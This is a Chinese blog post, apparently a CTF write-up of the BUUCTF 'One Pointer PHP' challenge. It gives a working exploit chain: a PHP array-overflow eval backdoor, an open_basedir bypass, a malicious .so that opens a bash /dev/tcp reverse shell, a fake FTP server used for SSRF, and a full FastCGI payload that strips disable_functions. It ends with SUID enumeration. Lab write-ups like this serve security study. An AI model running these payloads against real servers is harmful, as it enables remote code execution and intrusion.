刷题记录(八)

news/发布时间2024/5/23 19:47:49

buuctf-One Pointer PHP

题目给了源码:
add_api.php:

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){$count[++$user->count]=1;if($count[]=1){$user->count+=1;setcookie("data",serialize($user));}else{eval($_GET["backdoor"]);}
}else{$user=new User;$user->count=1;setcookie("data",serialize($user));
}
?>

user.php

<?php
class User{public $count;
}
?>

这里我们想要程序执行到eval函数,就要过if($count[]=1)的条件判断,让其不成立。这里用到了数组Key溢出的知识点,$count[]=1是赋值语句,如果是整数索引,下一个产生的索引是当前最大的整数索引+1。当key等于PHP int类型数据的最大值时,想要再插入一个更大的值会造成溢出,导致出现warning。php的int类型数据范围与操作系统相关,32位系统上为2的31次方,即-2147483648到2147483647。64位系统上为2的63次方,-9223372036854775808到9223372036854775807。
反序列化:

<?php
    class User{
        public $count
    }
    $o = new User();
    $o->count=9223372036854775806;
    echo serialize($o);
# O:4:"User":1:{s:5:"count";i:9223372036854775806;}

抓包加到cookie里,再通过get传一个phpinfo:

在phpinfo里可以看到disable_funcions和open_basedir。可以使用chdir()ini_set()函数来突破basedir的限制。列出根目录:

/add_api.php?backdoor=mkdir('temp');chdir('temp');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

在phpinfo里可以看到开启了php-FPM服务,也可以在/usr/local/etc/目录下看到php-fpm.conf文件。

接下来尝试读取fpm的配置文件:

/add_api.php?backdoor=mkdir('ye'); 
chdir('ye');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..'); 
ini_set('open_basedir','/');
var_dump(file_get_contents('/usr/local/etc/php-fpm.d/www.conf'));

可以看到FPM运行在9001端口:

通过SSRF来攻击FPM,这道题无法直接使用SSRF,但是可以利用file_put_contents()的特性来实现SSRF:file_put_contents()在使用ftp协议时会将data的内容上传到ftp服务器,在pasv模式下,服务器的地址和端口是可控的,可以将地址和端口指到127.0.0.1:9001。同时由于ftp的特性,不会有任何多余的内容,data会原封不动的转发,复合攻击FPM的要求。
编写恶意的so文件来执行命令:

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void preload (void){system("bash -c 'exec bash -i &>/dev/tcp/IP/PORT <&1'"); //反弹Shell,配置需修改
}

编译文件:gcc 1.c -fPIC -shared -o 1.so
将生成的1.so上传到目标主机的/tmp目录中:

/add_api.php?backdoor=mkdir('temp');chdir('temp');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('url/1.so','/tmp/1.so');

检查是否上传成功:

/add_api.php?backdoor=mkdir('temp');chdir('temp');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/tmp'));

接下哎生成file_put_contents('ftp:://',$data)里的$data,用到的脚本是fcgi_jailbreak.php,只要修改$php_value部分:

$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = 1.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";

生成payload:

data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%029%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%ADPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+1.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

解码后可以看到:

相当于以open_basedir为跟目录,执行system('/tmp/1.so')命令
在服务器上开一个ftp服务:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 5555))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

最终payload:

/add_api.php?backdoor=phpinfo();file_put_contents($_GET[%27file%27],$_GET[%27data%27]);&file=ftp://aaa@yourip:5555/1&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%029%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%ADPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+1.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

在服务器上我们可以收到shell:

最后一步是SUID提权,寻找有权限命令的SUID文件:find / -perm -u=s -type f 2>/dev/null

用php获取flag:

php -a
mkdir('123'); chdir('123');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/');echo(file_get_contents('/flag'));

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.jwkm.cn/p/16000033.html

如若内容造成侵权/违法违规/事实不符,请联系宁远站长网进行投诉反馈email:xxxxxxxx@qq.com,一经查实,立即删除!

相关文章

报错error Component name Index should always be multi-word vue/multi-word-component-names解决方法

1、问题说明:在创建组件命名时,引用 index.vue 的过程中报错; 2、报错的原因及分析:其一、报错的全称为:error Component name "index" should always be multi-word vue/multi-word-component-names翻译为:错误组件名称“索引”应始终为多词 vue/多词组件名称…

P2501 [HAOI2006] 数字序列

69682674_p5先来看第一问。 发现直接做要考虑两数中间的数能否变得合法,所以按套路将 \(a_i\) 减去 \(i\),这样就只要变成单调不降,只要两数合法中间的数就一定能变得合法。考虑不改变的那些数,它们一定单调不降,所以答案就是序列总长度减去最长不下降子序列的长度。 接下…

LVS+Keepalived群集

LVS+Keepalived群集 Keepalived是一个基于VRRP协议来实现的LVS服务高可用方案,可以解决静态路由出现的单点故障问题。 在一个LVS服务集群中通常有主服务器(MASTER)和备份服务器(BACKUP)两种角色的服务器,但是对外表现为一个虚拟IP(VIP),主服务器会发送VRRP通告信息给备…